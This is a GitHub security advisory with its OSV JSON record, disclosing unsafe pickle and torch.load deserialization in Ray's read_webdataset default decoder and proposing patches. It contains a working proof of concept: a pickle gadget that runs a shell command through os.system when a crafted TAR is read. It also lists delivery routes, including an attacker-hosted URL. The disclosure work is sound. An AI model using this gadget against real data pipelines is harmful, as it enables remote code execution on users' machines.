GHSA-HHRP-GW25-JR43
Vulnerability from github – Published: 2026-07-24 15:47 – Updated: 2026-07-24 15:47Summary
ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha")
reader for WebDataset-format TAR files. Its default decoder=True invokes
_default_decoder on every sample's keys, which routes file extension to a
decoder by extension. Two of those branches deserialize attacker-controlled
bytes with no validation:
.pickle/.pkl->pickle.loads(value).pt/.pth->torch.load(io.BytesIO(value), weights_only=False)
Both fire during a standard ray.data.read_webdataset(...).take_all() /
.iter_batches() call. No flags, no opt-in, no environment variable.
An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,
email attachment, model-zoo, or any HTTP URL the user passes to
read_webdataset) achieves arbitrary code execution in the calling
Ray process at schema-sample time, before row data is consumed.
This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow
Extension Type cloudpickle deserialization, patched in 2.55.0): standard
data-loading API, attacker-controlled file format, deserialization gadget
invoked transparently. The 2.55.0 patch addressed
tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle
opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The
WebDataset path is a different code site and was not touched.
Vulnerable code (HEAD a157d4d)
python/ray/data/_internal/datasource/webdataset_datasource.py lines
175-225, the _default_decoder function:
def _default_decoder(sample, format=True):
sample = dict(sample)
for key, value in sample.items():
extension = key.split(".")[-1]
...
elif extension in ["pt", "pth"]:
import torch
# PyTorch 2.6 changed torch.load default weights_only=True, which
# breaks loading general Python objects previously serialized for
# WebDataset .pt payloads.
sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219
elif extension in ["pickle", "pkl"]:
import pickle
sample[key] = pickle.loads(value) # line 223
return sample
The comment for the .pt/.pth branch is itself a security smell: it
documents that the maintainer chose weights_only=False to override
PyTorch 2.6's safer default. The comment treats this as a compatibility
fix; it functionally re-enables an arbitrary-code-execution path that
upstream PyTorch closed.
Reachability and default-on confirmation
python/ray/data/read_api.py:2289 defines read_webdataset with default
decoder=True:
@PublicAPI(stability="alpha")
def read_webdataset(
paths,
*,
...
decoder: Optional[Union[bool, str, callable, list]] = True,
...
) -> Dataset:
...
datasource = WebDatasetDatasource(paths, decoder=decoder, ...)
WebDatasetDatasource._read_stream (line 367) calls the decoder
unconditionally when not None:
for sample in samples:
if self.decoder is not None:
sample = _apply_list(self.decoder, sample, default=_default_decoder)
True is not None evaluates True, so the default decoder fires for every
invocation that doesn't explicitly pass decoder=None (or a custom safe
decoder). The documentation does not warn about the behavior.
End-to-end reproduction
Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray
reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):
import io, os, pickle, subprocess, tarfile, tempfile, sys
MARKER = "/tmp/ray_webdataset_poc_rce_marker"
class Gadget:
def __reduce__(self):
cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
return (os.system, (cmd,))
with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
for name, body in (("000000.txt", b"hello"),
("000000.pkl", pickle.dumps(Gadget()))):
ti = tarfile.TarInfo(name=name); ti.size = len(body)
tar.addfile(ti, io.BytesIO(body))
import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())
Output:
ray version: 2.55.1
crafted /tmp/tmpjpos115h.tar (10240 bytes)
ds.take_all() returned 1 row(s)
RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
RCE via ray.data.read_webdataset
pid=248816
user=xyz
The .pt/.pth variant is the exact same primitive against the
torch.load(io.BytesIO(value), weights_only=False) branch; replace the
TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.
Real-world delivery vectors
paths=["s3://bucket/poisoned.tar"]-- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised.paths=["https://attacker/model.tar"]-- HTTP-served WebDataset.- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users
pull TAR shards via
datasetsand feed them to Ray Data. - Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.
Why GHSA-mw35 doesn't cover this
GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback
by gating cloudpickle.loads behind
RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches
the Parquet ExtensionType deserialization path only. The advisory text
does not mention WebDataset, the WebDataset code is in a different
module, and the unsafe loads here use pickle.loads and
torch.load(weights_only=False) (not cloudpickle.loads).
Suggested patch
Two minimal options, both Ray-internal:
- Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix
pattern. Replace the
.pt/.pthand.pkl/.picklebranches with a guard:
```python import os _ALLOW_UNSAFE = os.environ.get( "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0" ) == "1"
elif extension in ["pt", "pth"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weights_only=False. Set " f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weights_only=False)
elif extension in ["pickle", "pkl"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value) ```
- Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.
Either option flips the default-on RCE primitive into an explicit
opt-in. The current default-on behavior provides no signal to users
that calling ray.data.read_webdataset on an untrusted TAR is
equivalent to running attacker code.
References
- Source:
python/ray/data/_internal/datasource/webdataset_datasource.py:175-225 - Public API:
python/ray/data/read_api.py:2287-2370(read_webdataset) - Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0)
- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder.
- WebDataset format: https://github.com/webdataset/webdataset
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ray"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.56.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57516"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T15:47:38Z",
"nvd_published_at": "2026-07-01T17:16:37Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability=\"alpha\")`\nreader for WebDataset-format TAR files. Its default `decoder=True` invokes\n`_default_decoder` on every sample\u0027s keys, which routes file extension to a\ndecoder by extension. Two of those branches deserialize attacker-controlled\nbytes with no validation:\n\n- `.pickle` / `.pkl` -\u003e `pickle.loads(value)`\n- `.pt` / `.pth` -\u003e `torch.load(io.BytesIO(value), weights_only=False)`\n\nBoth fire during a standard `ray.data.read_webdataset(...).take_all()` /\n`.iter_batches()` call. No flags, no opt-in, no environment variable.\nAn attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,\nemail attachment, model-zoo, or any HTTP URL the user passes to\n`read_webdataset`) achieves arbitrary code execution in the calling\nRay process at schema-sample time, before row data is consumed.\n\nThis is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow\nExtension Type cloudpickle deserialization, patched in 2.55.0): standard\ndata-loading API, attacker-controlled file format, deserialization gadget\ninvoked transparently. The 2.55.0 patch addressed\n`tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle\nopt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The\nWebDataset path is a different code site and was not touched.\n\n## Vulnerable code (HEAD `a157d4d`)\n\n`python/ray/data/_internal/datasource/webdataset_datasource.py` lines\n175-225, the `_default_decoder` function:\n\n```python\ndef _default_decoder(sample, format=True):\n sample = dict(sample)\n for key, value in sample.items():\n extension = key.split(\".\")[-1]\n ...\n elif extension in [\"pt\", \"pth\"]:\n import torch\n # PyTorch 2.6 changed torch.load default weights_only=True, which\n # breaks loading general Python objects previously serialized for\n # WebDataset .pt payloads.\n sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219\n elif extension in [\"pickle\", \"pkl\"]:\n import pickle\n sample[key] = pickle.loads(value) # line 223\n return sample\n```\n\nThe comment for the `.pt/.pth` branch is itself a security smell: it\ndocuments that the maintainer chose `weights_only=False` *to override*\nPyTorch 2.6\u0027s safer default. The comment treats this as a compatibility\nfix; it functionally re-enables an arbitrary-code-execution path that\nupstream PyTorch closed.\n\n## Reachability and default-on confirmation\n\n`python/ray/data/read_api.py:2289` defines `read_webdataset` with default\n`decoder=True`:\n\n```python\n@PublicAPI(stability=\"alpha\")\ndef read_webdataset(\n paths,\n *,\n ...\n decoder: Optional[Union[bool, str, callable, list]] = True,\n ...\n) -\u003e Dataset:\n ...\n datasource = WebDatasetDatasource(paths, decoder=decoder, ...)\n```\n\n`WebDatasetDatasource._read_stream` (line 367) calls the decoder\nunconditionally when not None:\n\n```python\nfor sample in samples:\n if self.decoder is not None:\n sample = _apply_list(self.decoder, sample, default=_default_decoder)\n```\n\n`True is not None` evaluates True, so the default decoder fires for every\ninvocation that doesn\u0027t explicitly pass `decoder=None` (or a custom safe\ndecoder). The documentation does not warn about the behavior.\n\n## End-to-end reproduction\n\nTested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray\nreports `__version__ == \"2.55.1\"` (the patched-against-GHSA-mw35 release):\n\n```python\nimport io, os, pickle, subprocess, tarfile, tempfile, sys\n\nMARKER = \"/tmp/ray_webdataset_poc_rce_marker\"\n\nclass Gadget:\n def __reduce__(self):\n cmd = (f\"/bin/sh -c \\\"printf \u0027RCE via ray.data.read_webdataset\\\\n\"\n f\"pid=%s\\\\nuser=%s\\\\n\u0027 \\\"$$\\\" \\\"$(whoami)\\\" \u003e {MARKER}\\\"\")\n return (os.system, (cmd,))\n\nwith tempfile.NamedTemporaryFile(suffix=\".tar\", delete=False) as f:\n tar_path = f.name\nwith tarfile.open(tar_path, \"w\") as tar:\n for name, body in ((\"000000.txt\", b\"hello\"),\n (\"000000.pkl\", pickle.dumps(Gadget()))):\n ti = tarfile.TarInfo(name=name); ti.size = len(body)\n tar.addfile(ti, io.BytesIO(body))\n\nimport ray, ray.data\nray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)\nds = ray.data.read_webdataset(paths=[tar_path])\nrows = ds.take_all()\nassert os.path.exists(MARKER), \"no RCE\"\nprint(open(MARKER).read())\n```\n\nOutput:\n\n```\nray version: 2.55.1\ncrafted /tmp/tmpjpos115h.tar (10240 bytes)\nds.take_all() returned 1 row(s)\nRCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:\n RCE via ray.data.read_webdataset\n pid=248816\n user=xyz\n```\n\nThe `.pt/.pth` variant is the exact same primitive against the\n`torch.load(io.BytesIO(value), weights_only=False)` branch; replace the\nTAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce.\n\n## Real-world delivery vectors\n\n- `paths=[\"s3://bucket/poisoned.tar\"]` -- the user thinks they are reading\n a WebDataset shard; the bucket is shared, mis-permissioned, or\n compromised.\n- `paths=[\"https://attacker/model.tar\"]` -- HTTP-served WebDataset.\n- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users\n pull TAR shards via `datasets` and feed them to Ray Data.\n- Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.\n\n## Why GHSA-mw35 doesn\u0027t cover this\n\nGHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback`\nby gating `cloudpickle.loads` behind\n`RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches\nthe Parquet ExtensionType deserialization path only. The advisory text\ndoes not mention WebDataset, the WebDataset code is in a different\nmodule, and the unsafe loads here use `pickle.loads` and\n`torch.load(weights_only=False)` (not `cloudpickle.loads`).\n\n## Suggested patch\n\nTwo minimal options, both Ray-internal:\n\n1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix\n pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a\n guard:\n\n ```python\n import os\n _ALLOW_UNSAFE = os.environ.get(\n \"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE\", \"0\"\n ) == \"1\"\n\n elif extension in [\"pt\", \"pth\"]:\n if not _ALLOW_UNSAFE:\n raise ValueError(\n f\"Refusing to load .pt/.pth member {key!r} from WebDataset \"\n f\"with weights_only=False. Set \"\n f\"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted \"\n f\"sources.\"\n )\n sample[key] = torch.load(io.BytesIO(value), weights_only=False)\n\n elif extension in [\"pickle\", \"pkl\"]:\n if not _ALLOW_UNSAFE:\n raise ValueError(\n f\"Refusing to unpickle WebDataset member {key!r} -- \"\n f\"untrusted pickle is RCE. Provide your own decoder \"\n f\"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for \"\n f\"trusted sources.\"\n )\n sample[key] = pickle.loads(value)\n ```\n\n2. **Drop these branches from the default decoder entirely** and require\n callers to provide their own decoder when working with .pkl/.pt\n samples. This is the safer default, matches WebDataset upstream\u0027s\n guidance (\"by default, use safe decoders\"), and is consistent with\n the spirit of the GHSA-mw35 patch.\n\nEither option flips the default-on RCE primitive into an explicit\nopt-in. The current default-on behavior provides no signal to users\nthat calling `ray.data.read_webdataset` on an untrusted TAR is\nequivalent to running attacker code.\n\n## References\n\n- Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225`\n- Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`)\n- Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet\n Arrow Extension Type, patched 2.55.0)\n- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType\n cloudpickle but did not touch the WebDataset decoder.\n- WebDataset format: https://github.com/webdataset/webdataset",
"id": "GHSA-hhrp-gw25-jr43",
"modified": "2026-07-24T15:47:38Z",
"published": "2026-07-24T15:47:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57516"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/pull/63469"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/pull/63470"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ray-project/ray"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/releases/tag/ray-2.56.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.